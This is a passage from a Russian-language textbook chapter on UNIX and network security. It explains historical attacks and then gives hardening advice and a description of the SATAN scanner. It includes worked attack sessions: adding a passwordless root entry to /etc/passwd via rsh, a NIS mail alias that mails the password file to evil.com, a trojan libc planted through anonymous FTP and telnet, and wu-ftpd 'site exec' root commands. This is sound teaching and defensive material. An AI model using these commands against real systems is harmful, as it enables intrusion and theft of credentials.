указания пароля. Поскольку специальный пользователь bin , как правило,
имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как
bin, можно изменить файл паролей так, чтобы получить привилегии доступа
root. Это можно сделать примерно следующим способом:
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old )
passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
Несколько замечаний по поводу деталей приведенного выше метода: rsh
victim.com csh -i используется для проникновения в систему, т. к.
при таком запуске csh не оставляет никаких следов в файлах учета wtmp
или utmp, делая rsh невидимым для finger или who. Правда, при этом
удаленный командный процессор не подключается к псевдотерминалу, поэтому
полноэкранные программы (например, редакторы) работать не будут. На многих
системах атака с помощью rsh в случае успешного завершения оставалась
совершенно незамеченной, поэтому можно порекомендовать использовать
регистратор внешних tcp-подключений, который может помочь обнаружить такую
деятельность.
8.5.2.4.3. Использование службы NIS
Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для
доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов
локальной почты, можно создать почтовые псевдонимы, которые будут
выполнять команды, когда им приходит почта. Например, рассмотрим создание
псевдонима foo , который посылает по почте файл паролей на evil.com, когда
на его адрес поступает любое сообщение:
nis-master # echo 'foo: | mail [email protected] /etc/passwd '
/etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v [email protected]
Таким образом, становится ясно, что NIS - ненадежная служба, которая
почти не имеет аутентификации клиентов и серверов, и, если атакующий
управляет активным NIS-сервером, то он также сможет эффективно управлять
хостами клиентов (например, сможет выполнять произвольные команды).
8.5.2.4.4. Особенности безопасности X-window
Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью
перебора всех сетевых портов. Многие сетевые утилиты и оконные системы
работают с конкретными портами (например, sendmail - с портом 25, telnet -
с портом 23). Порт X-window обычно 6000. Без дополнительной защиты окна
X-window могут быть захвачены или просмотрены, ввод пользователя может
быть украден, программы могут быть удаленно выполнены и т. п. Одним из
методов определения уязвимости X сервера является подсоединение к нему
через функцию XOpenDisplay().
Если функция возвращает не NULL, то можно получить доступ к дисплею.
Х-терминалы, гораздо менее мощные системы, могут иметь свои проблемы по
части безопасности.
Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя
запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный
терминал:
evil% xhost +xvictim.victim.com
evil% rsh xvictim.victim.com telnet victim.com -display evil.com
В любом случае необходимо продумать безопасность вашей системы
X-Window, поскольку иначе система будет подвергаться такому же риску, как
и при наличии + в hosts.eguiv или отсутствии пароля у root.
8.6. Современная ситуация
В этом пункте мы наконец перейдем к рассмотрению ситуации с
безопасностью UNIX в наши дни. Забегая вперед, сразу скажем, что
принципиально ничего не изменилось. Возможно, ошибок в старых версиях UNIX
стало меньше, зато появились и появляются новые версии UNIX и, что более
важно, другие операционные системы выходят на рынок интернета. Возможно,
пользователи стали уделять больше внимания своим паролям, но
вычислительная мощность персональных компьютеров удваивается чуть ли не
каждый год и программы-вскрыватели становятся все более изощренными.
Видимо также, что сегодня хакер уже не будет искать какую-нибудь
уязвимость в демонах типа telnetd или ftpd, он возьмет любой из
малоизученных - типа httpd.
Далее мы, в большинстве случаев не станем приводить конкретные примеры
(exploit) их использования по вполне понятным причинам (тем более что, к
счастью, далеко не все уязвимости оглашались после того, как были замечены
атаки, их использующие - иногда анализ исходного кода позволяет найти
ошибку раньше, чем она начнет работать ).
8.6.1. Ошибка в демоне telnetd
Эта уязвимость, основанная на недоработке в демоне, отвечающем за
протокол telnet, на наш взгляд, является одной из самых красивых и стала
уже почти такой же хрестоматийной, как команда debug в sendmail. Хосты,
подверженные этой уязвимости, должны иметь анонимный ftp-сервис с
разрешением на запись в один из своих каталогов (типа ~ftp/incoming).
Основная идея проникновения такова:
злоумышленник подменяет стандартную библиотеку libc своей, имеющей
"троянского коня": при вызове некоторых функций она запускает командную
оболочку. Затем он помещает ее на атакуемую машину, используя анонимный
ftp-сервис. Основная его задача - сделать так, чтобы она воспринималась на
атакуемой машине как настоящая. Для этого он подменяет специальные
переменные окружения, которые теперь будут указывать на "троянскую"
библиотеку. Наконец, те telnet-демоны, которые поддерживают опцию передачи
переменных окружения (RFC 1408 или RFC 1572), смогут передать их на
удаленную машину. После этого злоумышленнику остается только попытаться
войти по telnet'у на атакованную машину. При отработке функции login()
будет вызвана одна из "троянских" функций, и злоумышленник получит
привилегии суперпользователя. Таким образом, это типичная атака по
сценарию 1, но для ее подготовки нужен предварительный вход на машину
через анонимный ftp (естественно, возможны любые другие комбинации,
позволяющие записать файл в любой каталог удаленной машины). Указанная
атака выглядит примерно так:
evil:~# ftp victim.com
Connected to victim.com
220 Victim FTP server (Version wu-2.4(4) Sat Mar 24 14:37:08 EDT 1996)
ready.
Name (evil:root): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password: *****
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp cd incoming
250 CWD command successful.
ftp send libc.so.4
200 PORT command successful.
150 Opening BINARY mode data connection for libc.so.4.
226 Transfer complete.
ftp bye
221 Goodbye.
evil:~# telnet
telnet env define LD_LIBRARY_PATH /home/ftp/incoming
telnet env export LD_LIBRARY_PATH
telnet open victim.com
Trying 351.227.61.23...
Connected to victim.com.
Escape character is '^]'.
Linux 1.2.13 (victim.com) (ttyp0)
Victim login: hacker
Password:
bash# cd /root
8.6.2. Снова sendmail
Здесь мы приведем две уязвимости в программе sendmail (самых последних
версий) [20, 21], одна из которых позволяет локальному пользователю стать
суперпользователем и относится, таким образом, к сценарию 3. Вторая
уязвимость очень серьезна и в некотором роде уникальна: мало того, что она
воздействует на sendmail до самой последней версии 8.8, ее использование
позволит хакеру выполнить любую команду от имени суперпользователя на
вашей машине несмотря на все системы защиты, включая файрволы (firewall).
Поэтому она является примером возможности осуществить атаки класса 1 и в
наши дни.
Как очевидно, одна из основных функций sendmail - это SMTP-демон,
отвечающий на входящие письма. Только суперпользователь может запустить ее
в таком режиме, и это проверяется специальной процедурой самой sendmail.
Однако из-за ошибки в кодировании sendmail может быть запущена в режиме
демона так, что эта проверка будет пропущена, и, таким образом, любой
пользователь может это сделать. Более того, начиная с версии 8.7, sendmail
перезапустит сам себя, если получит сигнал SIGHUP с помощью системного
вызова exec(2), после чего она уже будет исполняться с привилегиями
суперпользователя. В этот момент, с помощью манипуляций с переменными
sendmail, злоумышленник может заставить ее выполнить любую команду,
естественно, с привилегиями суперпользователя. Как стандартный вариант,
используется копирование оболочки /bin/sh в /tmp/sh и установкой на него
SUID root.
Вторая уязвимость, как уже говорилось, присутствует всегда при наличии
sendmail версий до 8.8.4 включительно в своей конфигурации по умолчанию,
независимо от присутствия других сервисов и средств защиты типа файрвол.
Раз sendmail работает на вашем компьютере, значит, он отправляет и
принимает электронную почту. Как оказывается, ничего другого в данном
случае кракеру не надо: как в старые добрые времена, бомба к вам может
попасть в обычном письме стандартного формата, которое, естественно, без
всяких подозрений будет пропущено любым файрволом или другим фильтром. Это
письмо, однако, будет иметь более чем специфическое содержание в
MIME-кодировке, при обработке которого у sendmail банально переполнится
буфер, данные попадут в стек и смогут быть интерпретированы как код.
Естественно, он выполнится от имени суперпользователя.
Эта ошибочная функция вызывается, кстати, только в том случае, если в
конфигурации sendmail стоит недокументированный флаг -9 .
Какие можно сделать выводы из этого примечательной ситуации? Во-первых,
видимо, это один из случаев, когда ошибка в исходном коде была найдена
раньше хакерами, а не кракерами.
Во-вторых, с другой стороны, как обычно, пройдет много времени, прежде
чем все уязвимые версии sendmail будут заменены на новые, а кракеры между
тем, уже зная конкретно об этой ошибке, смогут ее максимально
использовать. Более того, своей масштабностью она прямо может подтолкнуть
их к написанию нового глобального червя. В-третьих, это еще раз
доказывает, что любые программы в процессе своего совершенствования могут
приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых,
не может не удивлять позиция автора sendmail, который, несмотря на
репутацию автора программы, насчитывающей такое же количество ошибок в
плане безопасности, что все другие UNIX-программы, вместе взятые ,
продолжает свою традицию оставлять недокументированные команды или ключи.
Вообще, мы бы не рекомендовали ставить программу sendmail на любой хост,
который более или менее критичен к угрозам извне, т. к. ошибки в ней
продолжают находиться с пугающей регулярностью.
8.6.3. Уязвимости в wu-ftpd
FTP-демон wu-ftpd, написанный в вашингтонском университете, является
значительным расширением стандартного ftpd. Как обычно, это приводит и к
расширению, содержащимся в нем ошибок.
Самой известной из них является ошибка, позволяющая всего-навсего
выполнить любую команду от имени суперпользователя, причем для удобства
кракера в wu-ftp для этого есть специальная команда, которая так и
называется site exec (выполнить на сайте) [26]. Эта атака интересна тем,
что не подходит ни под один из сценариев: в принципе, она проходит
аналогично типовым атакам по сценарию 1 или 2, взаимодействуя с удаленным
демоном, но для ее успешности необходимы полномочия обычного пользователя:
evil#ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
ready.
Name (victim:root): good
331 Password required for good.
Password: ***** 230 User good logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp quote site exec bash -c id
200-bash -c id 200-uid=0(root) gid=0(root) euid=505(statik)
egid=100(users) groups=100(users)
200 (end of 'bash -c id')
Видно, что в последней строчке на удаленном хосте выполнилась команда
id от имени суперпользователя - это означает, что хост уязвим.
Другая уязвимость, которой подвержены версии wu-ftpd, вплоть до самых
последних, состоит в том, что при определенных условиях можно переполнить
список аргументов команды, что приведет к сбросу демоном аварийного дампа
памяти. Для этого нужны минимальные полномочия анонимного пользователя ftp.
Что самое интересное, этот дамп будет иметь владельцем не root, как
обычно бывает, а anonymous и будет сбрасываться в его домашний каталог.
Отсюда прямо следует, что он может быть позже прочитан удаленно. Ну, а
чтение аварийного дампа равносильно копанию в корзине для бумаг на
секретном объекте - среди мусора могут быть найдены очень любопытные вещи,
например, сброшенные кэшированные пароли. Так что злоумышленнику останется
только запустить взломщик паролей поновее.
8.6.4. Последние новости:
проникновение с помощью innd
Как иллюстрацию того пути, по которому идут кракеры сегодня, рассмотрим
самый популярный способ проникновения в UNIX-хосты начала 1997 года.
Итак, в качестве лазейки была выбрана серверная программа, отвечающая
за передачу новостей USENET по протоколу NNTP, называемая InterNet News
(Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа не
запятнала себя ранее (это как раз пример новаторского подхода), во-вторых,
как и любой демон, она потенциально допускает проникновение по классу 1;
в-третьих, сервис передачи новостей выходит на одно из первых мест в
интернете, поэтому эта программа достаточно распространена и существует
практически на всех платформах; наконец, уязвимости, если они найдутся в
ней, не могут быть сведены на нет файрволом. Поясним последнее подробнее.
Если вы у себя на машине ставите сервер, который должен отвечать за прием
- передачу новостей по протоколу NNTP, то, естественно, вы должны
разрешить этот протокол в своем файрволе. Но кракер, с другой стороны,
также будет работать на уровне NNTP. Иначе говоря, как и в приведенной
выше уязвимости в sendmail, нет возможности для файрвола отличить пакеты,
содержащие хорошие новости, от плохих , которые посылает кракер - файрвол
может только вообще или запретить конкретный трафик, или разрешить его.
Именно такого рода уязвимость была найдена в программе innd [22]. Среди
обычных сообщений USENET встречаются так называемые управляющие, типа
newgroup или rmgroup . Innd обрабатывает команды, расположенные в них,
через команду оболочки eval . Однако некоторая информация (иначе говоря,
специальным образом разработанное фальшивое управляющее сообщение) может
быть передана оболочке без надлежащего контроля. Это позволит любому, кто
может присылать сообщения на ваш NNTP-сервер - иногда это чуть ли ни любой
пользователь USENET - исполнить любую команду, имея привилегии демона
innd, - а это либо суперпользователь, либо специальный пользователь news с
широкими правами. Все версии Inn, вплоть до 1.5 включительно, оказались
уязвимыми.
8.6.5. Удаленное получение имени и пароля пользователя в Windows NT
В этом пункте, чтобы не быть голословными, мы рассмотрим одну
примечательную атаку в интернете не на UNIX-систему. Примечательна она
тем, что подтверждает предположение, что при выходе на рынок интернет
новых операционных систем их ждет тот же тернистый путь в плане
обеспечения безопасности, который UNIX уже частично прошла.
Этой атаке подвержена и самая современная версия ОС Windows NT 4.0 в
сочетании опять-таки с последними версиями броузеров (browser) интернета
Microsoft Internet Explorer 3.0x-4.0b или Netscape Navigator 3.x-4.0b2.
Вот список уязвимых систем:
Windows 97 Beta (memphis), Windows NT 3.51 Workstation (видимо, и
Server, но это не упоминается в оригинале), Windows NT 4.0 Server вплоть
до Service Pack 2, Windows NT 4.0 Workstation вплоть до Service Pack 2,
Windows 95, включая Service Pack 1 и OSR2.
Для реализации этой атаки злоумышленником создается специальная
HTML-страница капкан , которая, помимо всего прочего, содержит ссылку
следующего вида: file://\\server\share\image.gif. Это ссылка на ресурсы в
формате CIFS (Common Internet File System), находящиеся на другом хосте.
CIFS -интернет-версия протокола SMB (Server Message Block), который
используется Microsoft для разделения ресурсов в своих локальных сетях.
Естественно, злоумышленнику нет никакой надобности использовать второй
хост, он может сделать ссылку на себя.
Для того, чтобы пользователь смог обратиться к этим ресурсам (в нашем
случае - скачать картинки), он должен зарегистрироваться на предложенном
ему SMB-сервере (типа Lanman). Windows NT позволяет сделать это, даже не
спрашивая пользователя о подтверждении: она просто передает имя и
хэшированный пароль пользователя на сервер Lanman!
Ну, а этот сервер, т. к. мы предполагаем, что он кракерский, запоминает
имя и пароль пользователя для дальнейших криптоатак, самой успешной из
которых, как обычно, будет по словарю.
Таким образом, то, о чем так давно не могли уже мечтать UNIX-хакеры,
свершилось! Можно удаленно стянуть имя и зашифрованный пароль
пользователя, за исключением того, правда, что эта атака пассивна -
незадачливый клиент сам заходит на враждебный сайт, а не наоборот.
Заметим, кстати, что скорость перебора NT-паролей достигает 2500
паролей/сек на современном Pentium. Но поскольку схема хэширования в NT
несколько упрощена тем, что отсутствует понятие salt (см.
п. 8.5.1), можно поднять ее на несколько порядков, если предварительно
схэшировать весь файл паролей, а затем сравнивать результат с захваченным
значением.
Представитель Microsoft Mike Nash, отвечающий за маркетинг Windows NT,
узнав об этой уязвимости, заявил: Хорошо, что люди тестируют наши
продукты, и лучшее, что мы можем сделать - повысить осведомленность наших
покупателей в вопросах безопасности [15]. Что ж, позиция Microsoft в
отношении безопасности своих продуктов, мягко говоря, всегда оставляла
желать лучшего.
8.7. Причины существования уязвимостей в UNIX-системах
Рассмотрев выше достаточно много фактического материала, мы коснемся
причин, по которым описанные нарушения безопасности UNIX имели место, и
попытаемся их классифицировать. Сразу оговоримся, что эта классификация ни
в коей мере не претендует на новизну или полноту - кому интересна эта
тема, предлагаем обратиться к более серьезным научным работам [9, 23].
Здесь же мы опишем вполне понятные читателю причины, по которым, тем не
менее, происходит до 90% всех случаев вскрытия UNIX-хостов.
Наличие демонов.
Механизм SUID/SGID-процессов.
Эти механизмы, являющиеся неотъемлемой частью идеологии UNIX, были и
будут лакомым кусочком для хакеров, т. к. в этом случае пользователь
всегда взаимодействует с процессом, имеющим большие привилегии, чем у него
самого, и поэтому любая ошибка или недоработка в нем автоматически ведет к
возможности использования этих привилегий.
Излишнее доверие.
Об этом уже достаточно говорилось выше.
Повторим, что в UNIX достаточно много служб, использующих доверие, и
они могут тем или иным способом быть обмануты.
К этим трем причинам нельзя не добавить следующую:
Человеческий фактор с весьма разнообразными способами его проявления-
от легко вскрываемых паролей у обычных пользователей до ошибок у
квалифицированных системных администраторов, многие из которых как раз и
открывают путь для использования механизмов доверия.
Рис. 8.2. Причины уязвимости UNIX при атаках на телекоммуникационные
службы.
Рассмотрим теперь более подробно причины, по которым оказываются
уязвимы демоны и SUID/SGID-процессы:
возможность возникновения непредусмотренных ситуаций, связанных с
ошибками или недоработками в программировании; наличие скрытых путей
взаимодействия с программой, называемых люками ; возможность подмены
субъектов и объектов различным образом.
К первым можно отнести классическую ситуацию с переполнением буфера или
размерности массива (примеры см. п. 8.4.1.2 и 8.6.2), ведущую к затиранию
области стека и записи туда специальных команд, которые будут затем
исполнены. Заметим сразу, что этот способ, несмотря на свою популярность,
всегда будет системозависимым и ориентирован только на конкретную
платформу и версию UNIX.
Хорошим примером непредусмотренной ситуации в многозадачной
операционной системе является неправильная обработка некоторого
специального сигнала или прерывания. Часто хакер имеет возможность
смоделировать ситуацию, в которой этот сигнал или прерывание будет послано
(в UNIX'е посылка сигнала решается очень просто - командой kill - см.
пример 8.6.2).
Наконец, одна из самых распространенных программистских ошибок -
является неправильная обработка входных данных (это является некоторым
обобщением случая переполнения буфера.) По свидетельству [24], ими в 1990
и 1995 годах были подвергнуты автоматизированному тестированию около 80
программ на 9 различных платформах UNIX - специальная программа подавала
на вход строки длиной до 100000 символов. Результатом явилось то, что 25-
33% в 1990 г. и 18- 23% в 1995 г. работали некорректно - зависали,
сбрасывали аварийный дамп и т. п. (Интересно, что в коммерческих версиях
UNIX этот процент доходил до 43, тогда как в свободно распространяемых он
был меньше 10.) Впрочем, справедливости ради надо отметить, что только 2
программы-демона вели себя таким образом в 1990 г., а через 5 лет эти
ошибки были исправлены. Ну, а если программа неправильно обрабатывает
случайные входные данные, то очевидно, что можно подобрать такой набор
специфических входных данных, которые приведут к желаемым для хакера
последствиям. Примером этого может служить innd (8.6.4).
Люком, или черным входом (backdoor) часто называют оставленную
разработчиком недокументированную возможность взаимодействия (чаще всего
входа в систему), например, известный только разработчику универсальный
пароль . Люки оставляют в конечных программах вследствие ошибки, не убрав
отладочный код или вследствие необходимости продолжения отладки уже в
реальной системе в связи с ее высокой сложностью или же их корыстных
интересов. Люки - это любимый путь входа в удаленную систему не только у
хакеров, но и у журналистов и режиссеров вкупе с подбором главного пароля
перебором за минуту до взрыва, но в отличие от последнего способа, люки
реально существуют.
Классический пример люка - это, конечно, отладочный режим в sendmail.
Наконец, вследствие многих особенностей UNIX, таких как асинхронное
выполнение процессов, развитый командный язык и файловая система,
злоумышленниками могут быть использованы механизмы подмены одного субъекта
или объекта другим. Например, в рассмотренных выше примерах часто
применялась замена имени файла, имени получателя и т. п. именем программы
(см. 8.5.2.3 и 8.5.2.4.3). Аналогично может быть выполнена подмена
некоторых специальных переменных. Так, для некоторых версий UNIX
существует атака, связанная с подменой символа разделителя команд или
опций на символ / . Это приводит к тому, что когда программа вызывает
/bin/sh, вместо него вызывается файл bin с параметром sh в текущем
каталоге. Похожая ситуация возникает при атаке на telnetd (см. 8.6.1).
Наконец, очень популярным в UNIX видом подмены является создание ссылки
(link)
на критичный файл. После этого файл-ссылка некоторым образом получает
дополнительные права доступа, и тем самым осуществляется
несанкционированный доступ к исходному файлу.
Аналогичная ситуация с подменой файла возникает, если путь к файлу
определен не как абсолютный (/bin/sh), а относительный (../bin/sh или
$(BIN)/sh). Такая ситуация имела место в рассмотренной уязвимости telnetd.
И последнее - нельзя приуменьшать роль человека при обеспечении
безопасности любой системы.
Возможно, он даже является слабейшим звеном. Про необходимость выбора
надежных паролей уже говорилось. Неправильное администрирование - такая же
актуальная проблема, а для UNIX она особенно остра, т. к. сложность
администрирования UNIX-систем давно уже стала притчей во языцех и часто
именно на это упирают конкуренты. Но за все надо платить, и это обратная
сторона переносимости и гибкости UNIX. Более того, если говорить о
слабости человека, защищенные системы обычно отказываются и еще от одной
из основных идей UNIX - наличия суперпользователя, имеющего доступ ко всей
информации и никому не подконтрольного. Его права могут быть распределены
среди нескольких людей:
администратора персонала, администратора безопасности, администратора
сети и т. п., а сам он может быть удален из системы после ее инсталляции.
В результате вербовка одного из администраторов не приводит к таким
катастрофическим последствиям, как вербовка суперпользователя.
Настройки некоторых приложений, того же sendmail, настолько сложны, что
для поддержания работоспособности системы требуется специальный человек -
системный администратор, - но даже он, мы уверены, не всегда знает о всех
возможностях того или иного приложения и о том, как правильно их
настроить. И если хакеры смогли проникнуть в систему, то это не всегда
говорит о халатности администратора, а, зачастую, о его ограниченном
знании того или иного продукта.
8.8. Как же защитить свой хост
Впитав такой впечатляющий набор фактов об уязвимости вашей системы, вы,
несомненно, задаете себе вопрос: как же обеспечить защиту в сети и,
вообще, возможно ли это? Не будем дискутировать на философскую тему почему
абсолютная защита невозможна?
В любом случае, сделать все, чтобы максимально ее улучшить- задача
любого администратора безопасности. Надеемся также, что вы уже прочитали
рассуждения в главе 7 по вопросу А есть ли, что мне защищать? .
Проанализировав причины, по которым происходят успешные нападения на
хосты UNIX, нам будет легче сформулировать те принципы, на которых будет
строиться защита. При этом будем придерживаться следующих концепций:
актуальность - защищаться надо от реальных атак, а не от фантастических
или, наоборот, времен вируса Морриса; разумность затрат - поскольку 100%
защиты мы все равно не обеспечим, надо найти тот рубеж, за которым затраты
на дальнейшее повышение безопасности оказываются выше стоимости той
информации, которую может украсть кракер.
Итак, ниже приводится список очень простых правил и действий (некоторые
идеи взяты из [25]), за которым следует процент отсеченных на этом этапе
кракеров. Поставив перед собой цель защитить свой хост на N процентов, вы
можете сами решить, на каком из них вам остановиться:
Прочитайте, наконец, руководство по администрированию вашей системы, и
наверняка вы найдете там некоторые полезные советы, которые захотите
применить.
Поставьте последние версии sendmail, ftpd и httpd.
Этим вы сразу отсеете до 30% (самых невежественных или ленивых)
кракеров.
Запустите программу автоматизированного контроля вашего хоста, типа
SATAN или ISS. Почему типа? Дело в том, что на сегодняшний день эти
программы явно устарели (см. п. 8.9), а новых мы пока не можем вам
предложить. Из этого не следует, что, когда вы будете читать эти строки,
таковых не появится. Вероятно, они сделают то же, что и предлагается ниже,
только вам это будет стоить гораздо меньше.
Проверьте настройки вашего NFS-сервиса, а также содержимое файлов
/etc/hosts.equiv и .rhosts (или подобных)
для каждого пользователя. У NFS не должно быть экспорта любых каталогов
для everyone, а необходимость включения каждого доверенного хоста должна
быть еще раз проверена. Уже до 50% кракеров не смогут забраться к вам.
Сходите в CERT или CIAC (см. адреса в приложении) и внимательно
прочитайте их бюллетени за последнее время. Установите все рекомендуемые
патчи (patch). Этим вы отсеете еще 20% взломщиков, так что уже 70% вы
сможете остановить.
Правильно настройте (или установите) ваш файрвол. Из этого не следует,
что вы должны запретить все и всем, запретите лишь все неиспользуемые вами
порты и протоколы. Поставьте сетевой монитор безопасности IP-Alert 1 (см.
п.
7.2.2.2). Уже более 80% злоумышленников будет скрежетать зубами от
злости.
Станьте на несколько часов хакером и напустите на файл /etc/passwd (или
затененный (shadow) аналог / etc/ shadon) последний взломщик паролей.
Здесь у вас большое преимущество перед хакерами - этот файл слишком просто
получить, и грех не воспользоваться такой удачей. С теми пользователями,
пароли которых были вскрыты автоматически, надо усилить разъяснительную
работу. Не забудьте затенить ваш файл паролей.
Еще 10% кракеров будет убито наповал, и вы победили уже 90% из них.
Проверьте настройки всех остальных служб, особенно использующих доверие
(типа NIS или X-Window).
Откажитесь от них по возможности - и празднуйте победу над около 95%
взломщиков.
Сходите еще раз в CERT или CIAC и прочитайте ВСЕ их бюллетени.
Установите все рекомендуемые ими и производителями вашего UNIX патчи. Да,
это потребует много времени, но вы будете вознаграждены тем, что 97%
кракеров для вас перестанут быть опасными.
Попросите разрешения у администраторов всех доверенных хостов,
найденных вами на шаге 4, просканировать их хосты на предмет безопасности.
Для этого можно воспользоваться тем же SATAN'ом, но вам нужно смотреть
в первую очередь не на найденные им уязвимости (они вряд ли уже
актуальны), а на список использованных сервисов и программ-демонов, их
поддерживающих. Это можно сделать, вручную проанализировав файл с
результатами работы SATAN. Если вы найдете уязвимую программу там,
попросите соседнего администратора обновить ее. Если он не зря занимает
свое место, то он с благодарностью это сделает. Итак, 99% кракеров никогда
не попадут на ваш, уже почти полностью безопасный хост.
Остальные меры, направленные на отлов последнего процента самых
достойных кракеров, являются превентивными в том смысле, что не направлены
конкретно на ту или иную службу.
Возможно, они будут сопряжены с более или менее значительной переделкой
вашего хоста.
Придумайте какую-нибудь собственную изюминку, очень простую, но которая
сможет привести слишком умных кракеров в тупик, типа переименования
какой-нибудь важной команды или сообщения на входе FSB host. Vvedite vashe
imya i zvanie: .
Поставьте монитор всех входящих соединений (типа tcp_wrapper). Этим вы
сможете если не остановить, то хоть увидеть следы кракера и понять его
логику для дальнейшего закрытия этой лазейки.
Избавьтесь от sendmail, поставьте другой SMTP-демон.
Выкиньте некоторые малоиспользуемые службы (типа finger, talk, rpc) и
ужесточите настройки вашего файрвола.
Поставьте proxy-сервер для дополнительной аутентификации извне, а также
для скрытия адресов и топологии внутренней подсети.
Перенесите весь сервис, требующий входящих соединений (http, SMTP), на
отдельную машину и оставьте ее в открытой сети. Удалите с этой машины все
программы и информацию, не относящуюся к ее назначению. Все остальные
машины спрячьте за файрволом с полным отключением входящего трафика.
Поставьте защищенную версию UNIX или другой операционной системы.
8.9. Средства автоматизированного контроля безопасности
Мы уже говорили о полезности средства автоматизированного контроля
безопасности отдельного компьютера, а также всей подсети, за которую он
отвечает, для системного администратора. Естественно, что такие средства
уже появлялись, и чаще других встречаются названия ISS (Internet Security
Scaner), COPS (Computer Oracle and Password System) и, конечно, SATAN
(Security Administrator Tool for Analizyng Networks). К сожалению, им
обычно присущи следующие недостатки:
системозависимость - обычно они рассчитаны на вполне конкретную ОС или
даже ее версию; ненадежность и неадекватность - если эти программы
сообщают, что все О'key , это совсем не значит, что так на самом деле и
есть; и наоборот - некая уязвимость , с их точки зрения, может оказаться
специальным вариантом конфигурации системы; малое время жизни - т. к. с
момента обнаружения уязвимости до ее искоренения проходит не очень большое
время (порядка года), программа быстро устаревает; неактуальность - более
того, с момента выхода программы в свет все новые (поэтому самые опасные)
уязвимости оказываются неизвестными для нее, и ее ценность быстро сводится
к нулю.
Этот недостаток является самым серьезным; наконец, это возможность их
использования с прямо противоположными целями - для поиска изъянов в вашей
системе.
Можно заметить явную аналогию этих программ с антивирусными сканерами
первого поколения - те знали лишь строго определенный набор вирусов, новые
вирусы добавлялись только в следующем выпуске программы. Если посмотреть
на возможности современных антивирусных программ - это и оперативное
лечение вирусов, и автоматизированное пополнение базы вирусов самим
пользователем, и поиск неизвестных вирусов, - то можно пожелать, чтобы
хороший сканер интернета смог позаимствовать некоторые из них.
В первую очередь - это возможность пополнения базы новыми уязвимостями.
Причем в наши дни это несложно сделать - стоит лишь скачивать информацию с
источников, занимающихся как раз сбором таких сведений, типа CERT или CIAC.
8.9.1. Программа SATAN
После общего введения мы посчитали невозможным не ознакомить читателя в
общих чертах с таким нашумевшим средством, как SATAN, которое иногда
считается чуть ли ни самой опасной программой из когда бы то ни было
написанных, начиная от своего зловещего названия до возможности влезть
чуть ли не в самый защищенный компьютер. Насчет названия сразу подчеркнем,
что в момент инсталляции с помощью специальной процедуры вы можете
поменять его на SANTA (Security Analysis Network Tool for Administrator),
а заодно и зловещего сатану на симпатичного Деда Мороза. А что касается
влезания в компьютер (не любой, конечно) - если подобная программа и
имеется у хакеров или спецслужб, то она никогда не стала бы свободно
распространяться по интернету, как это происходит с SATAN.
Рис. 8.3. SATAN.
Рис. 8.4. SANTA (видимо, Claus).
На самом деле SATAN - это добротно сделанная, с современным
интерфейсом, программа для поиска брешей в вашей подсети (Intranet, как
модно говорить в последнее время), написанная на машинно-независимых
языках Perl и С, поэтому она в некоторой мере преодолевает первый из
вышеописанных недостатков. Она даже допускает возможность для расширения и
вставки новых модулей. К сожалению, во всем остальном ей присущи указанные
недостатки, в т.ч. и самый главный - она уже устарела, и не может сейчас
серьезно использоваться ни администраторами, ни хакерами. Поэтому
непонятен мистический страх перед всемогуществом SATAN'а. Авторы, готовя
материал для данной книги, сами столкнулись с таким отношением и были
немало этим удивлены.
Однако на момент выхода это была достаточно актуальная программа. Она
содержала в себе поиск большинства уязвимостей, описанных нами в п. 8.5.2
и была построена на статье [16] (или эта статья вылилась из работы над
SATAN'ом). В частности, программа ищет уязвимости в:
FTP и TFTP; NFS и NIS; rexd; sendmail; r-службах; X-Window.
Существуют также более поздние версии SATAN'а, в которые включен поиск
и других уязвимостей.
Для этого она сначала всевозможным образом собирает информацию о вашей
системе, причем уровень этого конфигурируется пользователем и может быть:
легкий, нормальный и жесткий. Легкий уровень, по утверждению авторов
программы, не может быть никак обнаружен атакуемой стороной (по крайней
мере, такая активность программы никак не может быть принята за
враждебную) и включает в себя DNS-запросы для выяснения версии
операционной системы и другой подобной информации, которая может быть
легально получена с использованием DNS. Далее она посылает запрос на
службу RPC (remote procedure call) для выяснения, какие rpc-сервисы
работают. Нормальный уровень разведки включает в себя все эти запросы, а
также дополняет их посылкой запросов (сканированием)
некоторых строго определенных портов, таких как FTP, telnet, SMTP,
NNTP, UUCP и др. для определения установленных служб. Наконец, жесткий
уровень включает в себя все предыдущие уровни, а также дополняется полным
сканированием всех (возможных) UDP- и TCP-портов для обнаружения
нестандартных служб или служб на нестандартных портах. Авторы
предостерегают, что такое сканирование может быть легко зафиксировано даже
без специальных программ - например, на консоли могут появляться сообщения
от вашего файрвола.
Другой важной опцией, задаваемой при настройке SATAN'a, является
глубина просмотра подсетей (proximity).
Значение 0 означает только один хост, 1 - подсеть, в которую он входит,
2 - все подсети, в которые входит подсеть данного хоста, и т. д. Авторы
подчеркивают, что ни при каких обстоятельствах это число не должно быть
более 2, иначе SATAN выйдет из-под контроля и просканирует слишком много
внешних подсетей.
Собственно, ничем более страшным, кроме как сканированием портов и
обнаружением работающих служб и их конфигурации, SATAN не занимается. При
этом, если находятся потенциальные уязвимости, он сообщает об этом. Как
пишут сами авторы, фаза проникновения в удаленную систему не была
реализована.
Авторы SATAN'а используют очень современный интерфейс - все сообщения
программы оформляются в виде HTML-страниц. Поэтому работа с SATAN'ом мало
чем отличается от плавания (surf) по интернету в своем любимом броузере
(SATAN поддерживает любой из них, будь то lynx, Mosaic или Netscape).
Пользователь может отсортировать найденные уязвимости (по типу,
серьезности и т. п.) и тут же получить развернутую информацию по каждой из
них. Для поддержки броузеров в SATAN входит собственный http-сервер,
